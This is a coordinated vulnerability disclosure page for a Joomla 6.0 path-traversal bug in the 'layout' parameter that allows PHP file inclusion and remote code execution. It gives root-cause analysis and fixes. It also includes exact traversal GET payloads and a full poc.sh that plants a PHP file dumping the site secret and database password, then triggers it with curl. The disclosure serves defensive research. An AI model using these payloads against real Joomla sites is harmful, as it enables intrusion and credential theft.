ANT-2026-HHD77M82 · joomla/joomla-cms
path-traversal high
CVE-2026-40383 GHSA-v8h9-9g8j-w7h4
Severity Claude high · Security research firm high · Maintainer high
Discovered by Claude Mythos Preview
Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Doyensec.
ANT-2026-HHD77M82: Path Traversal in layout Parameter Leads to Arbitrary PHP File Inclusion (LFI → RCE)
BaseController::display() reads layout with the 'string' filter (preserving /, ., :) and passes it to HtmlView, where setLayout() splits on : and stores the left half verbatim in _layoutTemplate. loadTemplate() then str_replace()'s the active template directory with this attacker-controlled value inside the search path, and Path::find()'s self-referential bounds check trivially passes because both $path and $fullname resolve under the same attacker-chosen directory. The resulting path is handed to include(), executing any .php file whose parent directory (matching the html/<component>/<view>/ suffix) exists on disk. Unauthenticated GET to com_content, com_finder, or com_wrapper is sufficient; on a default install a chained file-write primitive is needed to place a matching .php file.
Target
Project: joomla
Commit: bfc2c2ce6ea085f5
Version: Joomla 6.0
Location: libraries/src/MVC/Controller/BaseController.php:653; libraries/src/MVC/View/HtmlView.php:292,385-416
Discovery: static analysis — not yet dynamically reproduced
Technical Details
Each layer assumed another would sanitise: the controller uses filter 'string' instead of 'cmd', setLayout() stores $temp[0] with zero validation, loadTemplate() injects it into $this->_path['template'] via str_replace(), and Path::find() only guards the filename, not the search path. The layout filename (right of :) is regex-sanitised at HtmlView.php:369, but the template name (left of :) takes a different code path with no equivalent filter, so ../../../../tmp/poc:default redirects include() to /tmp/poc/html/com_content/categories/default.php.
Reproduction
- Place or identify a PHP payload at e.g. /tmp/poc/html/com_content/categories/default.php
- Compute traversal depth from JPATH_THEMES (/var/www/html/templates) to
/→../../../../ - Build payload
layout=../../../../tmp/poc:default(left of:→ _layoutTemplate unsanitised; right of:→ _layout sanitised) - Send GET /index.php?option=com_content&view=categories&layout=../../../../tmp/poc:default
- HtmlView::loadTemplate() rewrites the search path, Path::find() self-check passes, and the payload is include()'d — PHP executes as www-data
[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-HHD77M82.
Reference: ANT-2026-HHD77M82
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure
Triage and disclosure were performed by Doyensec. The writeup below is the document the firm sent to the maintainer.
- Verdict
- true positive
- Severity
- high
Vulnerability Header
| Field | Value |
|---|---|
| Vulnerability Title | Path Traversal in layout Parameter Leads To Arbitrary PHP File Inclusion |
| Severity Rating | High |
| Bug Category | Path Traversal, PHP File Inclusion |
| Location | libraries/src/MVC/Controller/BaseController.php:653 |
| Affected Versions | Joomla 6.0.4 |
| Related CVE(s) | CVE-2021-26031 |
Executive Summary
BaseController::display() reads the layout HTTP GET parameter using the permissive 'string' filter, which preserves path traversal characters (/, .) and the colon (:) that triggers the template:file split syntax. When a colon is present, HtmlView::setLayout() stores the left portion as the template directory name with zero sanitization. This value is later spliced into the template search path via str_replace(), and Path::find()'s bounds check is tautological when the search path itself is attacker-controlled. The chain ends at include(), giving arbitrary PHP file execution as www-data. This is an incomplete fix for CVE-2021-26031: Joomla patched the identical sink in ModuleHelper::getLayoutPath() with Path::check() in 2021 but left HtmlView::loadTemplate() unprotected — and this variant is reachable via an unauthenticated GET request, whereas the original CVE required admin access.
Exploitation requires a .php file on disk at a specific directory structure (*/html/<component>/<view>/). No such targets exist on a default single-tenant install. On shared hosting, any co-tenant can trivially plant the target, making this cross-tenant RCE.
Root Cause Analysis
Technical Description
The vulnerability is a four-link chain where every layer assumed another layer would sanitize:
1. BaseController reads layout with the wrong filter (BaseController.php:653):
$viewLayout = $this->input->get('layout', 'default', 'string'); // ← 'string' filter
The 'string' filter only strips HTML/control characters — it preserves /, ., and :. Compare with com_users/DisplayController.php:46 which correctly uses getCmd('layout') (the 'cmd' filter strips everything except [A-Za-z0-9_.-]):
string filter: ../../../../tmp/poc:default → ../../../../tmp/poc:default (unchanged)
cmd filter: ../../../../tmp/poc:default → tmppocdefault (neutralized)
2. setLayout() stores the template name without sanitization (libraries/src/MVC/View/HtmlView.php:292):
// Convert parameter to array based on :
$temp = explode(':', $layout);
$this->_layout = $temp[1];
// Set layout template
$this->_layoutTemplate = $temp[0]; // ← ZERO sanitization
The right side of the colon (_layout) is later regex-stripped at line 369 (preg_replace('/[^A-Z0-9_\.-]/i', '', ...)). The left side (_layoutTemplate) never is. The developers clearly thought about traversal in the filename — they just missed that the template name takes a completely different, unprotected code path.
3. loadTemplate() injects the tainted value into the search path (HtmlView.php:385-389):
$this->_path['template'] = str_replace(
JPATH_THEMES . DIRECTORY_SEPARATOR . $template->template . DIRECTORY_SEPARATOR,
JPATH_THEMES . DIRECTORY_SEPARATOR . $layoutTemplate . DIRECTORY_SEPARATOR, // ← INJECTION
$this->_path['template']
);
With $layoutTemplate = '../../../../tmp/poc', the search path becomes:
/var/www/html/templates/../../../../tmp/poc/html/com_content/categories/
→ resolves to: /tmp/poc/html/com_content/categories/
4. Path::find() bounds check is tautological (Path.php:289-299):
$path = realpath($path); // resolves ../ in the search path
$fullname = realpath($fullname); // resolves ../ in search path + filename
// ...
if (file_exists($fullname) && substr($fullname, 0, strlen($path)) == $path) {
return $fullname; // ← X == X, always passes
}
Both realpath() calls resolve the same ../ sequences to the same attacker-chosen directory. The check was designed to stop traversal in the filename — it's useless when the search path itself is poisoned.
5. The included file executes (HtmlView.php:416):
include $this->_template; // ← arbitrary PHP execution as www-data
First Faulty Condition
| File | libraries/src/MVC/Controller/BaseController.php |
|---|---|
| Line | 653 |
| Condition | The layout HTTP parameter is read with the 'string' filter instead of 'cmd', allowing path traversal characters and the colon separator to pass through to HtmlView::setLayout(). |
Relationship to CVE-2021-26031
CVE-2021-26031 (Joomla 3.0.0–3.9.25, patched 3.9.26) exploited the identical colon-split mechanism in ModuleHelper::getLayoutPath(). The fix added Path::check() calls at ModuleHelper.php:334-336:
$tPath = Path::check(JPATH_THEMES . '/' . $template . '/html/' . $module . '/' . $layout . '.php');
Path::check() throws on any .. in the path. HtmlView::loadTemplate() — which uses the same explode(':', $layout) → $temp[0] pattern — has zero Path::check() calls.
CVE-2021-26031 was rated Low because it required admin access to set module layout settings. This variant reaches the same sink via an unauthenticated GET parameter — the more dangerous entry point was left unpatched.
Exploitability Assessment
Attack Vector & Reachability
| Attack vector | Network |
|---|---|
| Authentication required | None |
| User interaction required | None |
| Reachable in default config | Yes |
| Entry point(s) | Any frontend component that delegates to BaseController::display() without re-reading layout via getCmd() |
Seven confirmed unauthenticated entry points across five core components (all enabled by default):
| Component | View | Vulnerable |
|---|---|---|
com_content |
categories, archive, featured |
Yes |
com_finder |
search |
Yes |
com_contact |
categories |
Yes |
com_wrapper |
wrapper |
Yes |
com_newsfeeds |
categories |
Yes |
com_users |
login |
No — uses getCmd('layout') at line 46 |
Preconditions and Constraints
The inclusion target must satisfy all of:
1. Extension must be .php (hard-coded, not bypassable via null bytes on PHP 8)
2. The containing directory must exist (realpath() returns false for nonexistent dirs)
3. Directory structure must end in html/<component>/<view>/ (suffix is fixed per-request)
Standard LFI escalation techniques are all defeated:
| Technique | Why it fails |
|---|---|
/etc/passwd, /proc/self/environ |
Not .php extension |
| PHP session files, log poisoning | Not .php extension |
php://filter wrappers |
realpath() rejects stream wrappers |
| Null-byte truncation | PHP 8.x blocks null bytes in paths |
Joomla's own .php files |
Wrong directory structure (tmpl/<view>/, not html/<comp>/<view>/) |
No pre-existing targets exist on a default install (confirmed via exhaustive find / -path '*/html/com_*/*/*.php' — zero results).
Realistic exploitation scenarios:
- Shared hosting: Any co-tenant who can write to /tmp plants the directory tree and hits the URL from outside. This is cross-tenant RCE.
- Chained file-write: Any bug that creates subdirectories with a .php file (e.g., zip extraction that doesn't sanitize archive member names) chains directly into full RCE.
Reproduction Steps
Environment: The issue was reproduced using Joomla 6.0.4 on Ubuntu 24.04.4 LTS.
Prerequisites:
A .php file must exist at a path matching <anywhere>/html/<component>/<view>/default.php where the directory exists. On shared hosting, any co-tenant can create this. For testing, we plant one manually:
mkdir -p /tmp/poc/html/com_content/categories/
echo '<?php echo "INCLUDED:" . __FILE__ . " UID:" . posix_getuid();' \
> /tmp/poc/html/com_content/categories/default.php
Make sure HTTPd service sees the same /tmp directory (i.e., PrivateTmp is disabled). Otherwise, plant the files in your home directory and make sure the directories are traversable.
Trigger (unauthenticated, single GET request, no cookies/tokens):
GET /index.php?option=com_content&view=categories&layout=../../../../tmp/poc:default HTTP/1.1
Host: <target>
Expected output (embedded in the rendered page):
INCLUDED:/tmp/poc/html/com_content/categories/default.php UID:33
__FILE__ resolving to /tmp/poc/... proves PHP's include executed the file at the traversed path. UID:33 (www-data) proves execution inside the web server process.
Negative control (same payload against com_users, which uses getCmd):
GET /index.php?option=com_users&view=login&layout=../../../../tmp/poc:default HTTP/1.1
Returns a normal page with no inclusion — the cmd filter strips the traversal characters.
Nonexistent target (silent failure, no error disclosure):
GET /index.php?option=com_content&view=categories&layout=../../../../tmp/nonexistent:default HTTP/1.1
Returns HTTP 200, normal page. realpath() returns false, Path::find() falls through. No error signal — the bug is silent on both success and failure.
PoC files:
A full PoC script is provided in the attached poc.sh shell script. It plants a payload in /tmp, runs a baseline request, runs the exploit request, and shows the differential.
Recommended Fix
Fix 1 — Tighten the filter at the source (primary fix, BaseController.php:653):
- $viewLayout = $this->input->get('layout', 'default', 'string');
+ $viewLayout = $this->input->get('layout', 'default', 'cmd');
The cmd filter ([A-Za-z0-9_.-]) removes / (killing traversal) and : (killing the colon-split). This is exactly what com_users/DisplayController.php:46 already does.
Fix 2 — Sanitize _layoutTemplate at the sink (defense in depth, HtmlView.php:292):
- $this->_layoutTemplate = $temp[0];
+ $this->_layoutTemplate = preg_replace('/[^A-Z0-9_\-]/i', '', $temp[0]);
Template directory names are always [a-z0-9_-] in practice. This protects every caller of setLayout(), not just BaseController.
Fix 3 — Apply the CVE-2021-26031 pattern to HtmlView (defense in depth):
Wrap the constructed path in Path::check() at HtmlView.php:385-389, exactly as ModuleHelper::getLayoutPath() does at lines 334-336. Path::check() throws on any .. in the path.
Patch provenance: AI-generated + Human-reviewed
References
- CVE-2021-26031 — "Inadequate filters on module layout settings could lead to an LFI" (patched in Joomla 3.9.26, identical sink in ModuleHelper)
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research
Attachment: diff.patch
--- a/libraries/src/MVC/Controller/BaseController.php
+++ b/libraries/src/MVC/Controller/BaseController.php
@@ -650,7 +650,7 @@
$viewType = $document->getType();
$viewName = $this->input->get('view', $this->default_view);
- $viewLayout = $this->input->get('layout', 'default', 'string');
+ $viewLayout = $this->input->get('layout', 'default', 'cmd');
$view = $this->getView($viewName, $viewType, '', ['base_path' => $this->basePath, 'layout' => $viewLayout]);
Attachment: poc.sh
#!/bin/bash
###############################################################################
# PoC: Path Traversal → LFI → RCE in Joomla 6.0 BaseController::display()
#
# VULNERABILITY SUMMARY
# =====================
# BaseController::display() reads the `layout` request parameter using the
# 'string' filter (line 653), which preserves `/`, `.` and `:` characters.
# When the layout value contains a colon (format: "<template>:<layout>"),
# HtmlView::setLayout() splits it and stores the LEFT side as _layoutTemplate
# with ZERO sanitization. This value is later used in a str_replace() that
# rewrites the template search path. By injecting `../` sequences, an
# attacker can redirect the template search to any directory on disk.
# Path::find()'s realpath() bounds-check fails because it validates the
# resolved file against the resolved path — but the resolved path is ALREADY
# the attacker-controlled location.
#
# CHAIN
# =====
# BaseController.php:653 $viewLayout = $this->input->get('layout', 'default', 'string')
# → HtmlView.php:161 $this->setLayout($config['layout'])
# → HtmlView.php:292 $this->_layoutTemplate = $temp[0] // no filter
# → HtmlView.php:385-389 str_replace(JPATH_THEMES/cassiopeia/, JPATH_THEMES/$layoutTemplate/, $paths)
# → Path.php:289-299 realpath resolves traversal, substr check self-referential
# → HtmlView.php:416 include $this->_template // RCE
#
# PRECONDITIONS
# =============
# - Unauthenticated (no session required)
# - Requires a .php file on disk at: <anywhere>/html/<component>/<view>/<name>.php
# (This PoC plants one in /tmp to demonstrate the chain; in a real attack
# this would come from a secondary file-write primitive — media upload,
# shared-hosting /tmp, log poisoning + rename, etc.)
###############################################################################
set -u
TARGET="${1:-http://localhost}"
MARKER="LFI-RCE-$(head -c6 /dev/urandom | od -An -tx1 | tr -d ' \n')"
PAYLOAD_DIR="/tmp/j6poc_$$"
COMPONENT="com_content"
VIEW="categories"
# Calculate traversal depth: JPATH_THEMES = /var/www/html/templates (4 levels to reach /)
TRAVERSAL="../../../../tmp/j6poc_$$"
banner() { echo; echo "========================================================================"; echo " $*"; echo "========================================================================"; }
cleanup() { rm -rf "$PAYLOAD_DIR" 2>/dev/null; }
trap cleanup EXIT
###############################################################################
banner "STEP 1 — SETUP: Plant PHP payload (simulates file-write primitive)"
###############################################################################
# NOTE: This step simulates what an attacker would achieve via a separate
# file-write primitive (e.g., misconfigured media upload, shared /tmp on
# multi-tenant hosting, or a chained bug). The exploit step itself (STEP 3)
# is purely unauthenticated HTTP.
mkdir -p "${PAYLOAD_DIR}/html/${COMPONENT}/${VIEW}/"
cat > "${PAYLOAD_DIR}/html/${COMPONENT}/${VIEW}/default.php" << EOF
<?php
echo "\n\n[${MARKER}]\n";
echo "INCLUDED-FILE: " . __FILE__ . "\n";
echo "CMD-OUTPUT: " . shell_exec('id 2>&1');
echo "CONFIG-SECRET: " . \Joomla\CMS\Factory::getApplication()->get('secret') . "\n";
echo "DB-PASSWORD: " . \Joomla\CMS\Factory::getApplication()->get('password') . "\n";
echo "[/${MARKER}]\n\n";
EOF
chmod -R 755 "$PAYLOAD_DIR"
echo "Payload planted at: ${PAYLOAD_DIR}/html/${COMPONENT}/${VIEW}/default.php"
echo "Content:"
cat "${PAYLOAD_DIR}/html/${COMPONENT}/${VIEW}/default.php"
###############################################################################
banner "STEP 2 — BASELINE: Normal request (security control working)"
###############################################################################
# Send the same request with a benign layout value. The template system
# correctly resolves to the component's default template. No traversal.
echo "REQUEST:"
echo " GET ${TARGET}/index.php?option=${COMPONENT}&view=${VIEW}&layout=default"
echo
RESP_NORMAL=$(curl -sL "${TARGET}/index.php?option=${COMPONENT}&view=${VIEW}&layout=default")
echo "Response size: $(echo -n "$RESP_NORMAL" | wc -c) bytes"
echo "Contains marker '${MARKER}': $(echo "$RESP_NORMAL" | grep -c "$MARKER") occurrences"
echo
echo "First 500 chars of body:"
echo "$RESP_NORMAL" | head -c 500
echo "..."
if echo "$RESP_NORMAL" | grep -q "$MARKER"; then
echo
echo "[!] UNEXPECTED: marker found in baseline. Environment contaminated."
exit 1
fi
echo
echo "[OK] Baseline clean — normal layout resolves to standard template."
###############################################################################
banner "STEP 3 — EXPLOIT: Unauthenticated path traversal via layoutTemplate"
###############################################################################
# Inject `../` traversal in the layoutTemplate portion (before the colon).
# No authentication, no CSRF token, no session — pure HTTP GET.
PAYLOAD="${TRAVERSAL}:default"
URL="${TARGET}/index.php?option=${COMPONENT}&view=${VIEW}&layout=${PAYLOAD}"
echo "REQUEST:"
echo " GET ${URL}"
echo
echo " layout parameter breakdown:"
echo " Before ':' (layoutTemplate) = '${TRAVERSAL}' ← UNSANITIZED, flows into str_replace"
echo " After ':' (layout file) = 'default'"
echo
echo " After str_replace in HtmlView::loadTemplate():"
echo " /var/www/html/templates/cassiopeia/html/${COMPONENT}/${VIEW}/"
echo " → /var/www/html/templates/${TRAVERSAL}/html/${COMPONENT}/${VIEW}/"
echo " → resolves to: ${PAYLOAD_DIR}/html/${COMPONENT}/${VIEW}/"
echo
RESP_EXPLOIT=$(curl -sL "$URL")
echo "Response size: $(echo -n "$RESP_EXPLOIT" | wc -c) bytes"
echo "Contains marker '${MARKER}': $(echo "$RESP_EXPLOIT" | grep -c "$MARKER") occurrences"
echo
echo "Marker block extracted from response:"
echo "------------------------------------------------------------------------"
echo "$RESP_EXPLOIT" | sed -n "/\[${MARKER}\]/,/\[\/${MARKER}\]/p"
echo "------------------------------------------------------------------------"
###############################################################################
banner "STEP 4 — DIFFERENTIAL PROOF"
###############################################################################
NORMAL_HAS=$(echo "$RESP_NORMAL" | grep -c "$MARKER")
EXPLOIT_HAS=$(echo "$RESP_EXPLOIT" | grep -c "$MARKER")
printf " %-40s %s\n" "Baseline (layout=default):" "marker found ${NORMAL_HAS} times"
printf " %-40s %s\n" "Exploit (layout=${TRAVERSAL}:default):" "marker found ${EXPLOIT_HAS} times"
echo
if [ "$NORMAL_HAS" -eq 0 ] && [ "$EXPLOIT_HAS" -ge 1 ]; then
echo "[+] VULNERABILITY CONFIRMED"
echo " - Baseline request: template system works correctly (no marker)"
echo " - Exploit request: attacker-controlled PHP file was include()'d"
echo " - Command executed: id → $(echo "$RESP_EXPLOIT" | grep -oE 'uid=[^ ]+' | head -1)"
echo " - Joomla secret exfiltrated: $(echo "$RESP_EXPLOIT" | grep -oE 'CONFIG-SECRET: [a-zA-Z0-9]+' | head -1)"
EXIT=0
else
echo "[-] Exploit did not trigger as expected."
echo " Check: Is the template 'cassiopeia'? Is caching disabled?"
EXIT=1
fi
###############################################################################
banner "STEP 5 — ADDITIONAL ENTRY POINTS"
###############################################################################
# Any component whose DisplayController calls parent::display() without
# re-reading `layout` via getCmd() is affected. Demonstrate com_finder.
mkdir -p "${PAYLOAD_DIR}/html/com_finder/search/"
cp "${PAYLOAD_DIR}/html/${COMPONENT}/${VIEW}/default.php" "${PAYLOAD_DIR}/html/com_finder/search/default.php"
echo "Testing com_finder (Smart Search — publicly accessible):"
echo " GET ${TARGET}/index.php?option=com_finder&view=search&layout=${TRAVERSAL}:default"
RESP_FINDER=$(curl -sL "${TARGET}/index.php?option=com_finder&view=search&layout=${TRAVERSAL}:default")
if echo "$RESP_FINDER" | grep -q "$MARKER"; then
echo " [+] com_finder ALSO VULNERABLE — $(echo "$RESP_FINDER" | grep -oE 'uid=[^ ]+' | head -1)"
else
echo " [-] com_finder did not trigger"
fi
exit $EXIT
Dates from discovery through public reveal.
- 2026-03-30 Reported to tracker
- 2026-04-23 Sent to maintainer
- 2026-05-07 Maintainer acknowledged
- 2026-05-28 Patch released
- 2026-05-28 Publicly revealed
SHA-3-512 hash:
a314b60a74f81e24040a96044a4ee6c575de5dd8a33ebf7bb96f5b6af2b78caf47d5ca533a92c24c506151b98299794a5754acc21431e18dca969e29d8721388
Committed 2026-04-23 00:04 PT
Revealed 2026-05-28 11:00 PT
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-HHD77M82",
"bug_class": "Path-traversal",
"claude_severity": "high",
"commit_sha": "bfc2c2ce6ea085f5",
"created_at": "2026-03-30T23:19:42+00:00",
"description": "BaseController::display() reads `layout` with the 'string' filter (preserving `/`, `.`, `:`) and passes it to HtmlView, where setLayout() splits on `:` and stores the left half verbatim in `_layoutTemplate`. loadTemplate() then str_replace()'s the active template directory with this attacker-controlled value inside the search path, and Path::find()'s self-referential bounds check trivially passes because both $path and $fullname resolve under the same attacker-chosen directory. The resulting path is handed to include(), executing any `.php` file whose parent directory (matching the `html/<component>/<view>/` suffix) exists on disk. Unauthenticated GET to com_content, com_finder, or com_wrapper is sufficient; on a default install a chained file-write primitive is needed to place a matching `.php` file.",
"discovered_at": null,
"location": "libraries/src/MVC/Controller/BaseController.php:653; libraries/src/MVC/View/HtmlView.php:292,385-416",
"poc_sha256": "45450fd3f2ec685f0a4e64a8e61d17f6dd7d541960b265ccb488904d11e39955",
"preimage_version": 1,
"project": "joomla",
"reproduction": [
"1. Place or identify a PHP payload at e.g. /tmp/poc/html/com_content/categories/default.php",
"2. Compute traversal depth from JPATH_THEMES (/var/www/html/templates) to `/` → `../../../../`",
"3. Build payload `layout=../../../../tmp/poc:default` (left of `:` → _layoutTemplate unsanitised; right of `:` → _layout sanitised)",
"4. Send GET /index.php?option=com_content&view=categories&layout=../../../../tmp/poc:default",
"5. HtmlView::loadTemplate() rewrites the search path, Path::find() self-check passes, and the payload is include()'d — PHP executes as www-data"
],
"technical_details": "Each layer assumed another would sanitise: the controller uses filter 'string' instead of 'cmd', setLayout() stores $temp[0] with zero validation, loadTemplate() injects it into $this->_path['template'] via str_replace(), and Path::find() only guards the filename, not the search path. The layout filename (right of `:`) is regex-sanitised at HtmlView.php:369, but the template name (left of `:`) takes a different code path with no equivalent filter, so `../../../../tmp/poc:default` redirects include() to /tmp/poc/html/com_content/categories/default.php.",
"title": "Path Traversal in `layout` Parameter Leads to Arbitrary PHP File Inclusion (LFI → RCE)",
"vendor_severity": "high"
}